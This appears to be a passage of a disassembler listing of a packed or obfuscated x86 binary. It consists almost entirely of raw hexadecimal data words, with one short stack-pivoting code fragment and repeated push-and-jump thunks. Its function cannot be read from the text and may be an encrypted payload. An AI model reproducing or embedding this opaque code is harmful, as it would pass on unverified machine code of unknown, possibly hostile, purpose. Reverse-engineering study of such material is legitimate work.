		dd 49A9050Dh, 582AB5C5h, 5E8604CDh, 0AD11E284h,	8C050D88h
		dd 260EE2B4h, 55B46E66h, 0E17C2C78h, 2801DB81h,	63C585CBh
		dd 38D283C1h, 2FAE8B66h, 0D59187D1h, 0B204F7ADh, 0F2050D88h
		dd 142102C2h, 0A40F34ABh, 0B8AE749Ch, 0AAFFF33Dh, 0CBF33F60h
		dd 0FD9A2611h, 62E0935h, 0CF95ED4Ch, 0B74D1D49h, 0C32B795Ah
		dd 0EE672D0Eh, 911303Bh, 0E06A03F9h, 0D4000001h, 924F97F1h
		dd 4598E0B6h, 38D53D6Bh, 0F06D75DBh, 98B9C197h,	0BCE8C5DEh
		dd 0F65AB954h, 411773EEh, 98CE2439h, 3A05DF70h,	3011484h
		dd 0A2E65CC4h, 51CB1341h, 76DA8CEBh
		dd 9BCB4D13h, 82E2C195h, 26E6B28Fh, 0FF95FBDBh,	0B3530162h
		dd 4E5E15Bh, 53AE7E28h,	0B59BF873h, 0AEF4D643h,	59383E66h
		dd 16CB1379h, 4AB06A30h, 0CCDFF68h, 0B1B757BAh,	0E7AD8A67h
		dd 0BF953571h, 0E8560CA9h, 7F675C92h, 6E34D450h, 34A6608Dh
		dd 76E0D00Fh, 0D2AC0018h, 0BC46AEF4h, 0BD570D56h, 0A5A6181Bh
		dd 0DEE6030Ah, 0F1E02D0Eh, 20100933h, 0E9BF976Ah, 8167276Fh
		dd 0EA6C3210h, 0D442166Fh, 3A3C6845h, 42674DA5h, 0A7D359E3h
		dd 69CD2EABh, 29050DCCh, 4AB11719h, 1246A3BEh, 0FB9E1672h
		dd 2112C8EDh, 0F3471F4h, 38BE904h, 3AEFA03Ah, 0A9D119E2h
		dd 26B68C41h, 0AE4F04E6h, 8B8DB503h, 0F0662C0Eh, 0FFD93092h
		dd 27E7AFA9h, 0D131C923h, 8BD9638Bh, 839E30EAh,	9ACC24A7h
		dd 0B6A0E89Ch, 20CD2EFEh, 900933C1h, 0CB2BB6A0h, 0C061CF85h
		dd 0A35065C8h, 0B7D553F3h, 408649A3h, 0FB78E4C6h, 5EF8F2FFh
		dd 8415034Bh, 377FF9AFh, 6B0DC70Fh, 20E0B696h, 340F32C3h
		dd 0AAB2820Fh, 7B114280h, 256B48A1h, 0FA9A8665h, 36C80936h
		dd 6C271C5h, 92241705h,	0D20506C2h, 66260EE2h, 0CD4CCAFAh
		dd 0CD47AFF5h, 0FE9C3B7Fh, 76EB8878h, 879A4A10h, 0CE23F9AFh
		dd 0F6BEB8EEh, 0B15FD056h, 40E6FC52h, 61D526F8h, 215A407Dh
		dd 9F157111h, 59A1F7CFh, 68CE29C3h, 285A407Dh, 7BA3F1CDh
		dd 0FF7056ABh, 8C8AB2E6h, 0F660340Dh, 152C8098h, 0DE8ED834h
		dd 0D53D6343h, 8274DA38h, 0B59BF950h, 2430343h,	3, 0A2FF79BEh
		dd 0BE1B1D4Bh, 9504F258h, 0EC6DEBB9h, 0C455C395h, 0DEBBBDEBh
		dd 30A197FDh, 0E8B8DD3h, 63FE782Eh, 32D95F01h, 5585450h
		dd 4, 8704E883h, 535C2404h, 0C381E389h,	4, 4EB81h, 1C870000h
		dd 14895C24h, 0E6895624h, 4C681h, 0EE830000h, 24348704h
		dd 241C895Ch, 0CF39BF57h, 0FA89060Ch, 83243C8Bh, 8B5404C4h
		dd 0C481241Ch, 4, 1F1B68h, 24148900h, 8B08438Fh, 8957241Ch
		dd 4C781E7h, 83000000h,	3C8704C7h, 148B5C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54311E
; ---------------------------------------------------------------------------
		dw 11EBh
		dd 9B26F169h, 0AF8FE2DCh, 0B16C3446h, 0E17BB86Ah, 0C503060Ch
		dd 5054E0FFh, 0D86D322Ch, 18785C94h, 369738CFh,	4ED0765Bh
		dd 0AA31FB2h, 0F7B55AD8h, 211911DBh, 9A7E7888h,	52A10910h
		dd 324E0BF2h, 680B3D69h, 0C6BC0356h, 52BF619Fh,	627460BFh
		dd 9B8E33EDh, 9CBF0284h, 163E81h, 0EC57649Ch, 17C9175Eh
		dd 0A0545802h, 0C87D1A84h, 0CE5E7F1Bh, 0A2316C82h, 8EB4C2Ah
		dd 52C138A6h, 2400000h,	0C74E9h, 0E4726800h, 98E9060Ch
		dd 68FFFB61h, 60CE573h,	0FB618EE9h, 0E71468FFh,	84E9060Ch
		dd 68FFFB61h, 60CE7F6h,	0FB617AE9h, 0E8A368FFh,	70E9060Ch
		dd 68FFFB61h, 60CEA82h,	0FB6166E9h, 0EB2868FFh,	5CE9060Ch
		dd 68FFFB61h, 60CECACh,	0FB6152E9h, 0ED7168FFh,	48E9060Ch
		dd 3FFFFB61h, 0E070C5BFh, 42DE67E3h, 23318606h,	839126A6h
		dd 0E5F344C0h, 0CD490A69h, 71EDE868h, 92164CCCh, 37AD2F2Dh
		dd 38DC208Eh, 6C2B5E71h, 0DD821E0Fh, 0D421F3A3h, 0CDBF99D3h
		dd 6CA5C852h, 1599CABEh, 0A2A06E91h, 9336A420h,	86225E30h
		dd 0FC31C4F6h, 1DF8F862h, 9164E765h, 40DA5E13h,	2E27EA9Ch
		dd 1BAB9668h, 20418A3Fh, 0A7255D6Ch, 5EBD3517h,	5516A01Ch
		dd 0D6596CDAh, 0F639C8Eh, 387B02CFh, 0D5987F87h, 3BC1DA1Bh
		dd 53AB7Ah, 85570000h, 0E58D9CCEh, 7F50A3B7h, 0C9DF79FCh
		dd 9F1D5538h, 49D14C2Fh, 0F66E6FEDh, 53E35B1Ah,	0F7F56D90h
		dd 0EB682EC2h, 377ADE68h, 0E06C20B6h, 260BB1E3h, 0DBA94749h
		dd 736CEE58h, 48A447F7h, 924920Eh, 7AFC4376h, 0D51CDA9Dh
		dd 907A3BD7h, 108h, 0F3A3DD70h,	0CF404592h, 76C043CAh
		dd 0F97570EAh, 5DD99A06h, 0ADB10DD1h, 6A27031Ch, 318A1B5h
		dd 0FB666A27h, 26B245B0h, 9A2337A4h, 0E46A2703h, 0D230FE79h
		dd 0A6D70B90h, 0D86A2703h, 4AC2835Dh, 469476CFh, 0BF3C8A02h
		dd 5DA0245Dh, 27086FC5h, 0AC28AA6Ah, 0D14F090Bh, 5AD29349h
		dd 0F3ED0FECh, 0D2448275h, 53871B1Dh, 682E5B91h, 4BBD02FDh
		dd 3228B2B6h, 0EB8836B6h, 8566FA10h, 0DF6E27F8h, 47C2463Dh
		dd 7FE37FDBh, 6A299F4Eh, 2E61DF99h, 134CC833h, 0ABAF0B97h
		dd 6A299F02h, 0B97E817Ch, 709C185Bh, 815D4490h,	0A7FF8149h
		dd 0AF000009h, 1000B52Fh, 0F26ED753h, 53C176F6h, 33219616h
		dd 158334B0h, 0BD39BAD9h, 0E15D18F8h, 286FC5Ch,	0A71D5FBDh
		dd 0A8ACB01Eh, 6C2B5801h, 0DD32EE7Fh, 942539A2h, 0EA6A27BCh
		dd 926EEC6Fh, 27BC3F4Eh, 8D00416Ah, 768ED7C7h, 5B9C67E2h
		dd 0BC01FFF9h, 3CB83822h, 0D20EF172h, 0A63438C9h, 2EC238B2h
		dd 8D392468h, 20B6E489h, 0BAE296Ch, 3B6604CDh, 0CC417Ah
		dd 0DD830000h, 8A0E44A3h, 3F23BF3Ch, 6A27BC8Eh,	3C8A05F0h
		dd 6910C4A0h, 176A27BCh, 447D124h, 48DA3E88h, 8D6A27B7h
		dd 70E055D3h, 8460FA76h, 27B82950h, 0C885576Ah,	0CD80D14Ch
		dd 1AA29727h, 0DD4BFB7Eh, 0A6BA2024h, 682E4DACh, 64E055C0h
		dd 0CD11898Bh, 6E27ED5Bh, 0B9C014F0h, 6E6A298Ah, 42BDF06Ch
		dd 118974BFh, 0AF25A7B5h, 3F995C1Fh, 0FE5AC0BCh, 298A531Ah
		dd 0CF322D6Ah, 0CD490A16h, 5D57EB03h, 4DA8081h,	8A6h, 1B62EAEh
		dd 6FD05413h, 0CE77F5EDh, 2E971752h, 8035B132h,	38BBD814h
		dd 5C19FBBCh, 87FD5FE0h, 225CBC01h, 0ADB111A6h,	2B5900A9h
		dd 33917E6Ch, 0B426A2DDh, 0E5547F11h, 6C9766DBh, 0B12FA9ABh
		dd 0B9A34C0Ch, 70F34339h, 0DB51138Dh, 71EFE96Bh, 0C4A758CCh
		dd 38BB0B8Fh, 4E88DDBDh, 0C40A02h, 8B4FA356h, 682EC965h
		dd 0CC901E19h, 0C6DDEC70h, 0D7BD6C20h, 31B08D56h, 37CA3578h
		dd 0D6B22BA5h, 20287B02h, 0F81A056Ch, 6C2028B1h, 30B42DCFh
		dd 97853AB5h, 0AEC35FD5h, 6E6B1A58h, 0F6A340EEh, 0D02BA507h
		dd 0C4AC3216h, 8F56EF6Ah, 2CA82AECh, 7ED2F78Bh,	3F4CFA6Eh
		dd 5F19FB7Eh, 65479E1h,	0C6638239h, 3E1AD42Fh, 0EB660588h
		dd 16A0245Dh, 703EBA34h, 0AA0DA027h, 8F5164FBh,	72EE57CDh
		dd 0CE4AF470h, 0B71554h, 0E82E41C0h, 31CD72EEh,	4FC58755h
		dd 0D7E67CFFh, 1499FAh,	0F87BCB47h, 3AE89CB5h, 9B65D790h
		dd 797BE518h, 2CC53383h, 24AEB228h, 48169098h, 3A9668CDh
		dd 9EEE9726h, 8B6EE912h, 7AE0641Dh, 9780A4E6h, 5D3D3810h
		dd 0B84339BFh, 0F7E48A8Eh, 0AC2B1499h, 0AB06CF09h, 5632F2F2h
		dd 0FB4BCF84h, 0FFD39A78h, 0B2AD1499h, 48FDE4Fh, 693C0000h
		dd 0DB62EEE4h, 0BFC341FFh, 35687591h, 0DB9547BAh, 6A27BC92h
		dd 27CC3E43h, 0A822EF6Ah, 0DEE36A27h, 776A27AFh, 0AF36479Bh
		dd 0CD486A27h, 43C5BA2Ah, 0DA9943DFh, 613F9B5Eh, 0D682ED5h
		dd 2832C612h, 7B78756h,	70579h,	178DC900h, 0B135B2AEh
		dd 0D0540C0Ch, 70F4ED6Fh, 96124DCFh, 0D4B7B721h, 0BAA61F9Bh
		dd 1EFA433Bh, 0F95BDC58h, 0EEBC01FFh, 5BBFCE12h, 44C16C2Bh
		dd 25A3DDC4h, 372D10B5h, 180A4457h, 423F29E5h, 472370E8h
		dd 0ACDF8400h, 95058070h, 23F85141h, 0B7143D68h, 4B43BD99h
		dd 0DBEE6CEFh, 7FD4C77h, 1FD02BBFh, 4A73E743h, 2A6C2BAFh
		dd 0BE9ECB12h, 21396C03h, 2BF28C3Dh, 8407F26Ch,	0F2BBC216h
		dd 5AC56C2Bh, 0D9615DA7h, 0A2B62428h, 6E229E40h, 9589312Ch
		dd 0D183A2A1h, 1692D00Ah, 888C65E3h, 0C88C812h,	0EBCD11E9h
		dd 0B7C744B3h, 0F466FA44h, 28CB7BFFh, 9EA25FD5h, 279FDE3Ch
		dd 0BA3EB597h, 3226C43Fh, 0C143B07Eh, 71EB77E2h, 5DD99877h
		dd 2E9712D1h, 0E834B032h, 30B99D16h, 2309D787h,	2B000006h
		dd 8C8C31ABh, 6EEA53D7h, 0CF4DF26Ah, 0AFAD128Ah, 890FB02Ch
		dd 39B53655h, 5DD99484h, 0FE7A78D8h, 2399DB39h,	2C300C9Ah
		dd 6C2B5B9Dh, 0C9A662E3h, 0B2A63438h, 682EB48Ch, 5BB905F0h
		dd 1E13A319h, 7E9C3447h, 0C519817Dh, 6C20BBB4h,	3CB44FCAh
		dd 0AB27A043h, 98AEB228h, 0E46E29B3h, 2F52C479h, 0FE6A27BCh
		dd 6A27BCCFh, 6AEE730Ch, 6A27BC43h, 0DB47C23Dh,	239A1F07h
		dd 32B6A468h, 946F0CBAh, 0C08B6A1h, 6C2B5E7Ch, 0FA4EF7AFh
		dd 2BB03287h, 0D4A18637h, 0FE62F893h, 93D4A1CFh, 48CB46B1h
		dd 423E8C9Ch, 0AB35E57Bh, 576h,	31867E7Eh, 9F20A423h, 0FE47C5BDh
		dd 5EE76762h, 0B00581C2h, 84B2824h, 0AC292B8Ch,	0D78D8F30h
		dd 726CEC51h, 9D6141F6h, 2B543079h, 43C14E6Ch, 4339B9A3h
		dd 78D70F3h, 4FC5876Ah,	0E6E07CFFh, 0EF73EF6Ah,	68239AB7h
		dd 6CEE58DBh, 40D59772h, 2B5EED9Ch, 25A0936Ch, 611315AAh
		dd 0F1F351DDh, 4C28C27Bh, 2B5EE188h, 34B0366Ch,	0DAA6E98Ah
		dd 0D1921C98h, 0B731A356h, 11C5A139h, 6C2B5E68h, 99203416h
		dd 0E76C2B5Eh, 5E1FF974h, 71D313E6h, 7A4DF977h,	4C0ED0E3h
		dd 0BBB31B1h, 0B648ED68h, 1CAA2EA4h, 45C3BD5Fh,	3DF73EB2h
		dd 39237A41h, 4C393CB8h, 188h, 3438C98Ch, 0C130B2A6h, 805C682Eh
		dd 7EC84BC7h, 20B7D19Ah, 9DD0B76Ch, 0C8E926Fh, 4E36E879h
		dd 0A05B5EC7h, 0F0DC964Ah, 45B06E29h, 0EA6660F0h, 73EBEA70h
		dd 11DD20C3h, 823BB133h, 0F76BED82h, 2ED15D63h,	6B64F668h
		dd 599C5FEFh, 5277EB56h, 4C0BF100h, 0D4FD7EC8h,	768975D5h
		dd 0E5295CB8h, 73E46C20h, 0B93F8640h, 3A067A3Bh, 0CA000000h
		dd 0BD3BB9A3h, 198F72F1h, 0E276E468h, 682EC2E8h, 3EBA3923h
		dd 51D59270h, 1D1823D6h, 0B600B591h, 4ACD6C20h,	6628E927h
		dd 0D77D7A3Bh, 0E1000000h, 0F21066CCh, 0C3362C74h
		dd 25A3DD11h, 7405D9B5h, 0A6A27BCh, 0D83AF40Fh,	8400429Fh
		dd 1D5FBD09h, 0BB3517A7h, 349E783Dh, 8F6A27B7h,	7A919FAh
		dd 8D70B7BCh, 62DB5113h, 3186E588h, 0B0D476Ch, 0FD7F70F0h
		dd 1E5B811Dh, 8612C248h, 0C2BDA2CDh, 960CF774h,	68206BAEh
		dd 11CB57C2h, 8965DA56h, 0D80292Dh, 12576C2Eh, 4F05D79Ah
		dd 3FE7DC9h, 1C8C9856h,	995C408Eh, 14C0BC3Fh, 8758391Eh
		dd 9729B767h, 5F000003h, 10A51Fh, 0E27EC743h, 43D166E6h
		dd 23318606h, 59324A0h,	0AD29AAC9h, 0D14D0808h,	72F6EC6Ch
		dd 970D4FCDh, 58BC802Eh, 6C2B5611h, 0A322FE6Fh,	0BEA23BB9h
		dd 6A27BC0Fh, 0F00B8671h, 56EF6B64h, 0AB0C88CAh, 9DDDB2D7h
		dd 174E639Bh, 0A3DD30ECh, 0B210B525h, 0FD01A6E6h, 9270BE41h
		dd 31E354D0h, 273C96DBh, 566A3F6Ah, 3353D204h, 1FC787Eh
		dd 335164FEh, 0DD926A27h, 40C3BB3Ah, 18C8B7DAh,	218289B2h
		dd 0F8D83CDEh, 946823DDh, 562B1DA9h, 169448D2h,	8A6E2263h
		dd 0D1DF5D8Fh, 6A10815Ah, 2F194h, 3F9F500h, 9D195EBAh
		dd 3CB83818h, 5CD8997Bh, 827E79DBh, 0C0A35B3Dh,	0A6B20B87h
		dd 0A16AF27h, 0E577C84Ch, 0FAC86DEBh, 57CBF266h, 58B56C2Bh
		dd 44A3DDF8h, 43C58E0Ah, 0E5FAE9B0h, 818333AEh,	0BCD149C7h
		dd 0D12D5C37h, 0A1669923h, 0A027CAA7h, 5531A924h, 272BF881h
		dd 609B866Ah, 7C20568Ah, 518B682Eh, 7CF8F510h, 8B631B2h
		dd 0ADAD906Bh, 201A00A9h, 837E6Ch, 8A4E2AB6h, 6C201AE3h
		dd 0FB5FA29Dh, 6C201AB6h, 58E66261h, 0B07EFEFAh, 0CE710403h
		dd 0D20CAF28h, 7A3C0613h, 4652h, 38C9B600h, 10CAA634h
		dd 6617CB50h, 186A27BCh, 5714A21Dh, 0C2B436ACh,	0ADA8682Eh
		dd 0B6700501h, 0A1BD6C20h, 0C4F569C5h, 0BA6C20B6h, 0B6125BBFh
		dd 8BC56C20h, 8FC2A10Dh, 0C7EA698Ch, 3B65C809h,	0EE9D7Ah
		dd 0DD7F0000h, 0BB9925A3h, 3CDEBC38h, 0F03EC145h, 6AD45012h
		dd 0CD72EEE8h, 27B7FB49h, 0C0BC3E6Ah, 7979E37Fh, 0E29C7883h
		dd 916ED866h, 0D5CF138Fh, 0B9682EDFh, 0A6219BDFh, 0DD9F7D11h
		dd 5B149C67h, 0DE973DB8h, 2482448Dh, 18827DF8h,	461158BCh
		dd 0EC6F6C20h, 7015F109h, 90D627F3h, 98C9AA14h,	0A44037D2h
		dd 6201AD29h, 723D3B9Fh, 54866E27h, 7FFBF81Dh, 526732FCh
		dd 0EE45D86Fh, 70BBBE39h, 7DBFEDE4h, 0B8B2E77Eh, 0A043F36Eh
		dd 24A7B525h, 4A0517A8h, 2F2802CEh, 9545815Dh, 16DCBh
		dd 0FF757100h, 199DDA46h, 0B83CB4A4h, 0D85C1507h, 7EFAF567h
		dd 7C1FDFB9h, 223E8703h, 86922BA3h, 61F344C0h, 7654E967h
		dd 504776EAh, 2C396C2Bh, 0F0A2DD6Ch, 0B6B151C3h, 0C8F1651Eh
		dd 0B66A278Dh, 0E84DC84Bh, 4DF26E68h, 0AD2FABB1h, 7D9F6201h
		dd 0A63438C9h, 2EC238B2h, 8D392468h, 0EC686BF1h, 0B6E48909h
		dd 0AE296C20h, 6604CD0Bh, 2E2C7A3Bh, 43CC37AFh,	8Ch, 25A3DD81h
		dd 0BC38BB99h, 0B7BC16F2h, 7F796A27h, 0A2DC3C81h, 0D1AE9826h
		dd 150FD34Fh, 79682EDFh, 32CF39FEh, 999C2D31h, 77E26C20h
		dd 21F266F4h, 4B6E274Eh, 0CF8852C8h, 540DCF53h,	68E82DD0h
		dd 0F21F36Fh, 28815DB7h, 0A89C62h, 30AC0000h, 521103B4h
		dd 0F7F361D6h, 1150C075h, 0B7302095h, 0DA12823Bh, 0FD423EB9h
		dd 51E65E1Fh, 0BE0785C3h, 13A420A2h, 2ABAFB3h, 7C6C2B51h
		dd 0A2DD3193h, 1FFD9126h, 801CE75Dh, 27F54AC6h,	233EB9A3h
		dd 0D89B2BA1h, 0EF12D15Dh, 0DA94736Dh, 0F153E35Eh, 40C479F7h
		dd 292DADAFh, 68239AEDh, 2A289681h, 0F78B2CA8h,	19CD63D2h
		dd 976A86B6h, 61CD4B05h, 827A7F9Dh, 0D64CB734h,	10E89F4Ah
		dd 449ADDA0h, 2B298E0Ah, 818333A9h, 0F6875BC0h,	8838E670h
		dd 12A4128Dh, 0EAE43A7Dh, 94BC96Eh, 35D2393h, 0C3000000h
		dd 0A1DDD68Ah, 3FB99B2Bh, 5117F541h, 0ECE96BDBh, 0B44C670h
		dd 0A2DD3F8Fh, 3FBA9826h, 550D0FBFh, 0EEE567D7h, 5068DC6Ah
		dd 0BE56E089h, 4, 835EF001h, 48704E8h, 89535C24h, 4C381E3h
		dd 83000000h, 1C8704EBh, 4895C24h, 0E7895724h, 4C781h
		dd 0EF830000h, 243C8704h, 241C895Ch, 7AA8BB53h,	0D3F72199h
		dd 1F9CC381h, 0C3813D91h, 0AB0591Dh, 73A0C381h,	0C3817246h
		dd 6D1E7132h, 1C8BD889h, 4C48324h, 241C8B54h, 4C481h, 0B9510000h
		dd 8, 0BB53D901h, 0
		dd 389CB01h, 1C8B595Bh,	0E7895724h, 4C781h, 0C7810000h
		dd 4, 5C243C87h, 5124048Bh, 0C181E189h,	4, 4C181h, 0C870000h
		dd 3CE95C24h, 0F9FFFB55h, 20899326h, 99E28E21h,	832E3D3Fh
		dd 0EE3EB82Eh, 0C503060Ch, 0B1DBE0FFh, 0B15B2964h, 80EA5A83h
		dd 56E16859h, 576B3EE0h, 98027E40h, 946B3546h, 2FB53029h
		dd 0C9F1410Fh, 0B6DA2466h, 52D546ADh, 1E860980h, 0D2D96B9Bh
		dd 0D8FC01EDh, 0E14C620Ch, 78E523FCh, 0B67E0438h, 26D57CCAh
		dd 1A822973h, 0C733B1Bh, 0AB8201Bh, 65047C33h, 12E81751h
		dd 0C0000000h, 96D125A3h, 0BA6D6E97h, 0FCE65555h, 0F79C57D3h
		dd 8E841h, 0AD3A0000h, 527C9827h, 880FD087h, 18h, 13E9h
		dd 295E2500h, 2DD16AB8h, 6E04531Ah, 0F047413Ch,	64E68D0Eh
		dd 0D88A5859h, 5901C081h, 8B0F0000h, 0
		dd 820FFF2Bh, 3, 8BD3B70Fh, 830F3834h, 3, 81D0BF0Fh, 55D513C6h
		dd 1DF1802Bh, 60F2EE81h, 14E808CFh, 6E000000h, 0A9D1EEF5h
		dd 0BFA1F12Ah, 0D3D15803h, 61978FDAh, 66E0623Ch, 0D759CB81h
		dd 0A6F6815Bh, 6604E869h, 6656C88Bh, 48FD88Bh, 8F0F38h
		dd 8A000000h, 63EF81CFh, 0FC2D76ABh, 0AB5FC781h, 0E3812D76h
		dd 56AE0248h, 0A7E4FF81h, 850FFFFFh, 0Fh, 0E95AF553h, 18h
		dd 0B19A328Dh, 0F271CA8h, 78E9D3B7h, 0EFFFFFFh,	0AF8572E9h
		dd 4C0DAF9Ch, 8E8h, 29ACD300h, 2A32FDEEh, 0B958F5ACh, 17096D06h
		dd 626FC081h, 0B70F0000h, 0BFCAh, 7E90000h, 1B000000h
		dd 3C5073BAh, 348B8DC3h, 79EE8138h, 6652B571h, 3CB8CB81h
		dd 0F0F4C681h, 8F0F4153h, 18h, 11E956h,	0F7FB0000h, 0C87D4656h
		dd 0E21B5AE4h, 0E31A9DA4h, 5B8F501Ch, 0B623F681h, 14E92798h
		dd 0A3000000h, 0C9BF274Ah, 5847190Ch, 73082C05h, 56F2633Eh
		dd 56DAD2CBh, 0CE8h, 0E43A1800h, 3185748Ch, 0CB0E8670h
		dd 57E1812Ah, 5A1CA479h, 0F38048Fh, 48Eh, 1FB96600h, 0EF81F57Ah
		dd 5DE04D9Ah, 0C7814CB7h, 5DE04D96h, 12E860h, 54AF0000h
		dd 0F57F720Bh, 969871C5h, 990151B8h, 259D519Ch,	7E9h, 0DF4B3800h
		dd 67319271h, 61DE8B58h, 9E74FF81h, 850FFFFFh, 0FFFFFF46h
		dd 38D3B966h, 0F1F98D8Dh, 5B53060Ch, 7458501h, 8D890607h
		dd 6071B41h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	3C35646h, 372D5C66h, 2B665812h,	0F9B70F00h, 60585C7h
		dd 60640607h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 6FC1D5C3h, 78F1C340h, 0F06360Bh
		dd 0F8Bh, 9E800h, 57D10000h, 1B5FBDAh, 5FAFC115h, 6985C7h
		dd 607h, 81660000h, 0FFEAD6F2h,	732C9B5h, 0E195FF06h, 6A060701h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 4219C351h, 6AF38B66h, 195FF00h, 8B060732h
		dd 6FEBC0h, 0B785CA53h,	0FFD56DCBh, 53BA7BCFh, 1520FD24h
		dd 79899A9Ah, 99358500h, 0DE69B4A8h, 431D261Bh,	1310414Fh
		dd 0C2886CBDh, 3C3924CFh, 6E221B9Ah, 0C255A912h, 571CF8DAh
		dd 74B007Fh, 2D21B105h,	0FADAF46Ah, 7E6DAAF4h, 0DE80A3ADh
		dd 77A06DECh, 6CD47814h, 1F4E0D51h, 9F8F5294h, 0D6B1803Ch
		dd 8EBCEC1Fh, 506B3FD7h, 0EB5122E4h, 79EBADE0h,	0EF9E7D00h
		dd 0FE2218Ch, 9FABAFD6h, 7C4DB297h, 95B7E3h, 0E9A9E572h
		dd 9BB69CB5h, 0B6F37760h, 9EB794A9h, 7D60D760h,	9EA9BD89h
		dd 729EBD8Ch, 4A95ACE3h, 9BB98B20h, 9D89937Eh, 0AFF496B9h
		dd 94A19E96h, 91A7D6B5h, 48D100FDh, 33594ACCh, 5200713Ch
		dd 0F357DB4Dh, 9BB7D65Eh, 0AFF600B7h, 9F8995ABh, 7156F000h
		dd 0BEB3D7C7h, 56711800h, 0E2ADC4D7h, 93060E73h, 1015E934h
		dd 0E7680000h, 0E9060CF4h, 0FFFA8A82h, 0CF5E068h, 8A78E906h
		dd 0A768FFFAh, 0E9060CF6h, 0FFFA8A6Eh, 0CF80168h, 8A64E906h
		dd 6D68FFFAh, 0E9060CF8h, 0FFFA8A5Ah, 0CF91668h, 8A50E906h
		dd 0C868FFFAh, 0E9060CF9h, 0FFFA8A46h, 0CFAA968h, 8A3CE906h
		dd 8068FFFAh, 0E9060CFBh, 0FFFA8A32h, 0CFC8A68h, 8A28E906h
		dd 0E668FFFAh, 0E9060CFDh, 0FFFA8A1Eh, 0D006268h, 8A14E906h
		dd 6268FFFAh, 0E9060D01h, 0FFFA8A0Ah, 46AEFACDh, 9FE7A98Bh
		dd 2C346242h, 648CD031h, 0B0D88CE9h, 9DFEE561h,	57B2AFB7h
		dd 0A64F901h, 0F9D9345Ch, 30D44B93h, 1387FC7h, 0DD573F03h
		dd 0E8CB44A2h, 0CEF6BEB8h, 3D817214h, 7D050DCBh, 0D63CCB35h
		dd 94469BD5h, 8FE772F4h, 4756E84Bh, 2E16050Dh, 1E749EE6h
		dd 0FAC8F45h, 4F0F3414h, 0BC7EF167h, 0F4030A76h, 4E351C90h
		dd 0D5B5E224h, 2Ah, 267F9513h, 0D569CA6Ch, 95050DCBh, 0D427FDADh
		dd 0F34C193h, 5AD54373h, 30AC1E0h, 0D940B4A8h, 0B5E1757Ah
		dd 12B01h, 4E5C700h, 0C8FC7A2Ch, 77009E46h, 6E3EB131h
		dd 6BEDB393h, 51C78DEEh, 4389B987h, 7431A10Ch, 0AFDB3C56h
		dd 0AC7CA4DEh, 712B7151h, 39E9BF98h, 1E44A23Fh,	43BC05F6h
		dd 0D72A050Dh, 62FFAFF9h, 0DB365E04h, 326440FBh, 69CA80C4h
		dd 50D4CD5h, 0AF65AD95h, 4C942A15h, 0ECD4050Dh,	46183A3Ch
		dd 4CEB53ACh, 9BAB050Dh, 0D4C2698h, 0C35E6605h,	0CB8BEE2h
		dd 0C390F65Ch, 18D12E09h, 51610F34h, 0CFAD9309h, 1D42A6CCh
		dd 0B1D77D2Dh, 0F3D32EE4h, 0E3A30E6Bh, 0DC047F5Fh, 7DDC760Ch
		dd 93903064h, 935EC39h,	25FF959Dh, 32E73FD7h, 12B27CADh
		dd 1E66320Fh, 0CC4FA584h, 0F1B5A3F5h, 47074FC9h, 381E99FAh
		dd 0C132E452h, 503B37Dh, 85CDF53Dh, 1131178Ch, 6E0F0509h
		dd 0D6Dh, 0DE266245h, 177F2103h, 0A4CC9AFAh, 0FC0448A9h
		dd 8500461h, 15766DE9h,	0CF2A274Fh, 829C7199h, 71518CD4h
		dd 0A84CC32Bh, 13FF74Fh, 552FB703h, 791341A2h, 67D187E0h
		dd 0E16C0CE9h, 1058E1E7h, 0EDC51870h, 451FEDA7h, 38A03C79h
		dd 2D87CF9Fh, 91F37F95h, 72CD87CFh, 0F34C13Dh, 0E863D5DDh
		dd 30AC152h, 0D5431573h, 3D3B6D44h, 5C614BAFh, 0D940B4A8h
		dd 0B5E1757Ah, 0ED51A244h, 0AD030B35h, 74D79B85h, 0DE89615Ah
		dd 0A4310Eh, 0A2370000h, 0B9EFCB44h, 391A8771h,	0D62BED6Bh
		dd 7DFEAEF4h, 50DC7B4h,	3F470D65h, 989EC422h, 0D385E37Eh
		dd 0AACB1933h, 0AF3F19F0h, 0F39DB104h, 64246C9Fh, 0CE2504DEh
		dd 38E89C9Ah, 343ADA3Bh, 325A6A0Fh, 0E3B9FAE8h,	3596CB10h
		dd 613B0B09h, 74CA35CFh, 340503F5h, 0E4C15C0Ch,	58B5A8B0h
		dd 6B98150Ch, 9E940911h, 0C74FFh, 3D6B4200h, 76D838D5h
		dd 0C395F36Eh, 1B41A6BBh, 573D1EF3h, 6F74EE0Fh,	233E4612h
		dd 954890C0h, 4E83EBB9h, 45DA2268h, 3EEE50A3h, 26AE0301h
		dd 1341A24Ch, 6A3016CBh, 44A2A802h, 59B9181Eh, 1676EBF3h
		dd 7F08A40h, 50DCBBFh, 1117B7FFh, 26FCA280h, 0DB2F56D8h
		dd 13B3987Ch, 3D56ADFBh, 6BD48ED7h, 0F34532Ah, 84071DFCh
		dd 12B2FAACh, 6133466Eh, 7EF8AE88h, 24959636h, 3278B438h
		dd 6AD58FD4h, 0FEB90E5Dh, 52E457EDh, 12F28776h,	0AA7CFA22h
		dd 8B2DE7BCh, 5C0C52B6h, 0B9F161DFh, 3FD5DDF8h,	0C49EC422h
		dd 0C4DA4D76h, 25166AABh, 0F48D5B91h, 0E9B9E1D1h, 40166CE1h
		dd 9F18E6C9h, 0D5A8AE17h, 0BADh, 1E662205h, 57BFE1C3h
		dd 0E40C5ABAh, 3C440869h, 4890C421h, 0D536ADA9h, 8FEA678Fh
		dd 425CB1D9h, 3111CC14h, 0E88C036Bh, 13DB70Fh, 956FF703h
		dd 181E44A2h, 411B588Eh, 349969F6h, 0A6BB190Fh,	6D191F45h
		dd 0AF948EEh, 0F0380803h, 0C4DF32E8h, 85EF494h,	111FB16Bh
		dd 0A59E8307h, 25999AF2h, 65030A9Ch, 0BDE3C05Dh, 815B0BBBh
		dd 33BF45B6h, 0BBBD8509h, 0DBC7AC0h, 0D6DE3205h, 0DAE21473h
		dd 6D9BAFh, 0E5590000h,	0E07D2B04h, 2C58DE80h, 0E3B0D67Ch
		dd 5ABA9729h, 6E32110Ch, 0FECBCE8h, 0F34BDE7h, 57A57F47h
